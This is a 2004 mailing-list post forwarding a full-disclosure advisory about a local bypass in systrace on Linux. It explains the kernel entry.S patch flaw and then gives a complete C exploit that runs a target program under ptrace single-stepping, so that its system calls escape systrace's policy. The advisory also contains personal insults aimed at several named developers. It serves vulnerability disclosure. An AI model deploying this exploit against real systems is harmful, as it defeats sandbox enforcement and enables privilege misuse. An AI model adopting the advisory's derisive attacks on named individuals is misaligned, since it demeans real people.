Subject: systrace silently patches full local bypass vulnerability on Linux
To: None <tech-security@netbsd.org>
From: Jeremy C. Reed <reed@reedmedia.net>
List: tech-security
Date: 03/29/2004 08:51:11
The following was from bugtraq. I don't know if this applies to NetBSD.
It says "bug is a local root and applies across all OSes"

   Jeremy C. Reed
   http://www.reedmedia.net/

---------- Forwarded message ----------
Date: Sat, 27 Mar 2004 16:01:03 -0500 (EST)
From: spender@grsecurity.net
To: full-disclosure@lists.netsys.com
Cc: bugtraq@securityfocus.com
Subject: systrace silently patches full local bypass vulnerability on Linux

systrace silently patches full local bypass vulnerability on Linux

Introductory Note:

	I will not be replying to any posts in response to this mail, no
	matter how many times you intentionally misspell my name or
	attack me personally.  Annoying me in an attempt to get me
	to release vulnerability details to you does not work.

Executive Summary:

	Don't use systrace.  This is only one of three exploitable bugs
	that have existed in systrace since its creation.  One other
	bug is a local root and applies across all OSes systrace
	supports (including OpenBSD!), while the other is specific to
	Linux and allows a local bypass.  Marius Eriksen has silently
	fixed this bug, and there is no doubt that he will try to fix
	the other two silently also.  Hopefully this advisory will persuade
	Marius and Niels to not go that route, though I don't see
	either bug being fixed any time soon, as they are both design
	flaws and nearly impossible to catch through empirical testing.

Vulnerability Detail:

	Let's look at the systrace v1.4 patch:

--- linux-2.4.21/arch/i386/kernel/entry.S~systrace-1.4  2003-06-30
02:15:04.000000000 -0400
+++ linux-2.4.21-marius/arch/i386/kernel/entry.S        2003-06-30
02:15:04.000000000 -0400
@@ -207,8 +207,21 @@ ENTRY(system_call)
        jne tracesys
        cmpl $(NR_syscalls),%eax
        jae badsys
+#ifdef CONFIG_SYSTRACE
+       movl %esp,%eax
+       call SYMBOL_NAME(systrace_intercept)
+       cmpl $0,%eax
+       jl ret
+       movl ORIG_EAX(%esp),%eax
+#endif /* CONFIG_SYSTRACE */
        call *SYMBOL_NAME(sys_call_table)(,%eax,4)
+ret:
        movl %eax,EAX(%esp)             # save the return value
+#ifdef CONFIG_SYSTRACE
+       movl %esp,%eax                  # pass in stack
+       call SYMBOL_NAME(systrace_result)
+       movl EAX(%esp),%eax             # XXX: ?to be on the safe side
+#endif /* CONFIG_SYSTRACE */
 ENTRY(ret_from_sys_call)
        cli                             # need_resched and signals
atomic test
        cmpl $0,need_resched(%ebx)


	What I want to direct your attention to is the first line of the
	patch, "jne tracesys", which for you OpenBSD developers of the
	world that don't understand assembly means that the system call
	entry point is redirecting execution flow to another place in the
	routine where the system call will be called if the current
	process is being ptrace'd with PTRACE_SYSCALL, which single
	steps through each system call in an application.  When the
	system call is called at the different location, systrace will
	not have intercepted it.

	Let's look at the latest v1.5 patch for 2.4.24 (though a
	similar fix is present in the 2.6.3 patch also):

diff -puN arch/i386/kernel/entry.S~systrace-1.5 arch/i386/kernel/entry.S
--- linux-2.4.24/arch/i386/kernel/entry.S~systrace-1.5  2004-01-26
00:35:49.000000000 -0500
+++ linux-2.4.24-marius/arch/i386/kernel/entry.S        2004-01-26
00:52:52.000000000 -0500
@@ -207,8 +207,21 @@ ENTRY(system_call)
        jne tracesys
        cmpl $(NR_syscalls),%eax
        jae badsys
+#ifdef CONFIG_SYSTRACE
+       movl %esp,%eax
+       call SYMBOL_NAME(systrace_intercept)
+       cmpl $0,%eax
+       jl ret
+       movl ORIG_EAX(%esp),%eax
+#endif /* CONFIG_SYSTRACE */
        call *SYMBOL_NAME(sys_call_table)(,%eax,4)
+ret:
        movl %eax,EAX(%esp)             # save the return value
+#ifdef CONFIG_SYSTRACE
+       movl %esp,%eax                  # pass in stack
+       call SYMBOL_NAME(systrace_result)
+       movl EAX(%esp),%eax             # XXX: ?to be on the safe side
+#endif /* CONFIG_SYSTRACE */
 ENTRY(ret_from_sys_call)
        cli                             # need_resched and signals
atomic test
        cmpl $0,need_resched(%ebx)
@@ -243,8 +256,20 @@ tracesys:
        movl ORIG_EAX(%esp),%eax
        cmpl $(NR_syscalls),%eax
        jae tracesys_exit
+#ifdef CONFIG_SYSTRACE
+       movl %esp,%eax
+       call SYMBOL_NAME(systrace_intercept)
+       cmpl $0,%eax
+       jl tracesys_exit
+       movl ORIG_EAX(%esp),%eax
+#endif /* CONFIG_SYSTRACE */
        call *SYMBOL_NAME(sys_call_table)(,%eax,4)
        movl %eax,EAX(%esp)             # save the return value
+#ifdef CONFIG_SYSTRACE
+       movl %esp,%eax                  # pass in stack
+       call SYMBOL_NAME(systrace_result)
+       movl EAX(%esp),%eax             # XXX: ?to be on the safe side
+#endif /* CONFIG_SYSTRACE */
 tracesys_exit:
        call SYMBOL_NAME(syscall_trace)
        jmp ret_from_sys_call


	As we can see here, there is a lot more code in entry.S.  And
	for what reason?  Let's look to the announcement on the mailing list:

"which is for linux 2.4.24 and includes a few updates i made when forward
porting systrace to linux 2.6.1.  it also includes some updated system
call definitions, including the xattr/acl related system calls."

	Supporting more syscalls doesn't mean that Marius had to modify
	entry.S.  The internal systrace functions handle all that.
	This clearly was not simple port work either; there was a
	deliberate attempt to add the systrace hooks to the syscall
	tracing case.

Note to those stinking up the security community cesspool:

	I'm sure rather than taking responsibility for this blatant
	attempt to hide an exploitable vulnerability that has been
	known in the blackhat community ever since systrace was
	released for Linux (almost two years now), Marius and Niels will
	instead try to attack my character, misspell my name, claim
	that I found the bug by diffing, or anything else that will
	take the attention off of this bug.  In fact, I know of several
	others that have discovered this bug independently, who I hope
	will respond to this advisory and give weight to my claim if
	there is any doubt on the part of Niels and Marius.  I apologize
	for the delay in this advisory, since when I have checked the
	systrace patch for updates, I would usually check for the local
	root hole, not this ptrace-related vulnerability.

	There seems to be some common sentiment in the community, and
	by community I mean people sitting in cubicles with the false
	belief that they understand security (eg. RedHat employees),
	that bugs don't exist until they're revealed to the public.
	There's the belief that someone who claims to have private
	exploits but chooses not to release them is in every case a
	liar, even though there is every reason to believe that person.
	There also seems to be the ridiculous notion among certain
	developers, and also by people who cannot code at all (eg.
	Joshua Brindle aka Method, leader of the Gentoo Hardened
	project) that they can treat exploit developers any way they
	want and expect to be treated fairly in return through prior
	disclosure of vulnerabilities.  I'm not just speaking about
	myself here.  The reaction against noir when he posted his
	OpenBSD local root is a prime example.  The cost of freedom of
	speech is responsibility for that speech.

	There was recent doubt as to whether I had discovered a
	number of vulnerabilities in other security systems.  Though it
	should seem obvious that someone developing a security system
	would look at other systems and find flaws in them quickly (and
	I would seriously doubt the ability of any "whitehat" who has
	not), some people obviously do not think so.

	There are protection bypass vulnerabilities in:
	LIDS
	DTE
	exec-shield (and no, it has nothing to do with paxtest)
	linsec
	systrace

	There were also recently several scathing comments made by
	Russell Coker, an employee of RedHat.  Some background info on
	Russell: he's from Australia, he's not used to IRC, he can't
	name any blackhats off-hand, and somehow he's a (self-titled?)
	security expert and wants everyone to use SELinux.  I had made
	the claim in a channel that the Debian SELinux test box was
	owned by stealth due to a configuration error.  It turned out
	that stealth had not owned the Debian SELinux test box, and
	Russell Coker certainly made everyone aware of this.  What he
	of course failed to mention (and that he was knowledgeable
	of, as I was CC'd on the mails) was that stealth did own an
	SELinux test machine some time back in Australia due to a
	configuration error.  My mistake was believing that there was
	more than one user of SELinux in Australia.  I should also note
	that that the SELinux test box challenge is a hoax.  Russell
	seems to think not however:

"I've been running SE Linux machines that anyone can try to crack as root
since the middle of 2001."

	http://marc.theaimsgroup.com/?l=selinux&m=107943732100178&w=2

"Is anyone offering root access to any machine running any security
system other than SE Linux?"

	http://groups.google.com/groups?selm=20030607072005%2463c7%40gated-at.bofh.it&oe=UTF-8&output=gplain

There's also an interesting omission here about how much Russell is
relying on the "security" of SELinux for the test machine:

"It was claimed that the machine was cracked some months ago, if so the attacker would have
had to maintain their root-kit past upgrades of SE Linux policy, kernel, and OS
packages."

	http://marc.theaimsgroup.com/?l=selinux&m=107925097605307&w=2

	What's that now? Kernel upgrades? OS packages? Upgrades of policy?

	It's also interesting how quickly they've forgot about this:

	http://marc.theaimsgroup.com/?l=selinux&m=105490085132101&w=2

	There is no reason why the box couldn't have been hacked when
	you realize that any of the recent local kernel exploits for
	Linux could have been used to own the box.  Certainly someone
	could have used the exploits before they were released to the
	public to own the machine; I myself was in possession of one of
	the exploits weeks before it was released publicly.  Russell
	also seems to think that real hackers would want to waste their
	private exploits on his useless test machine, clearly evidence
	of his complete lack of understanding of the blackhat
	community, the very people he claims to know how to protect
	himself (and you) from.

	Without much further ado, here's a simple exploit for the
	silently fixed systrace vulnerability.  I apologize for its lack
	of multithreading.

#include <stdio.h>
#include <errno.h>
#include <sys/ptrace.h>
#include <sys/select.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
        int pid;
        int input[2];
        int output[2];
        int error[2];
        int ret;
        fd_set readfds;

        if (argc < 2) {
                printf("usage: ./systrace_exp <target> <arg1> <arg2> ... <argn>\n");
                exit(0);
        }

        ret = pipe(input);
        if (ret) {
                printf("Unable to create pipe\n");
                exit(1);
        }
        ret = pipe(output);
        if (ret) {
                printf("Unable to create pipe\n");
                exit(1);
        }
        ret = pipe(error);
        if (ret) {
                printf("Unable to create pipe\n");
                exit(1);
        }

        pid = fork();

        if (pid > 0) {
                char somechar;
                int highest;
                struct timeval time;

                time.tv_sec = 0;
                time.tv_usec = 1000;

                close(input[0]);
                close(output[1]);
                close(error[1]);

                FD_ZERO(&readfds);
                FD_SET(0, &readfds);
                FD_SET(output[0], &readfds);
                FD_SET(error[0], &readfds);
                while (1) {
                        FD_SET(0, &readfds);
                        FD_SET(output[0], &readfds);
                        FD_SET(error[0], &readfds);
                        time.tv_sec = 0;
                        time.tv_usec = 1000;
                        while ((select(error[0] + 1, &readfds, NULL, NULL, &time)) > 0) {
                                if (FD_ISSET(0, &readfds)) {
                                        if (read(0, &somechar, 1) != 1)
                                                exit(0);
                                        write(input[1], &somechar, 1);
                                }
                                if (FD_ISSET(output[0], &readfds)) {
                                        if (read(output[0], &somechar, 1) != 1)
                                                exit(0);
                                        write(1, &somechar, 1);
                                }
                                if (FD_ISSET(error[0], &readfds)) {
                                        if (read(error[0], &somechar, 1) != 1)
                                                exit(0);
                                        write(2, &somechar, 1);
                                }
                                FD_SET(0, &readfds);
                                FD_SET(output[0], &readfds);
                                FD_SET(error[0], &readfds);
                                time.tv_sec = 0;
                                time.tv_usec = 1000;
                        }

                        ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
                        if (errno == ESRCH)
                                break;
                }
        } else if (pid == 0) {
                close(input[1]);
                close(output[0]);
                close(error[0]);
                close(0);
                dup(input[0]);
                close(1);
                dup(output[1]);
                close(2);
                dup(error[1]);
                ptrace(PTRACE_TRACEME, 0, NULL, NULL);
                if (argc == 2)
                        execv(argv[1], NULL);
                else
                        execv(argv[1], argv + 1);
        } else {
                fprintf(stderr, "Unable to fork.\n");
                exit(1);
        }

        return 0;
}


	Be kind to others.  Know your enemy.  Thank you for your time.

-Brad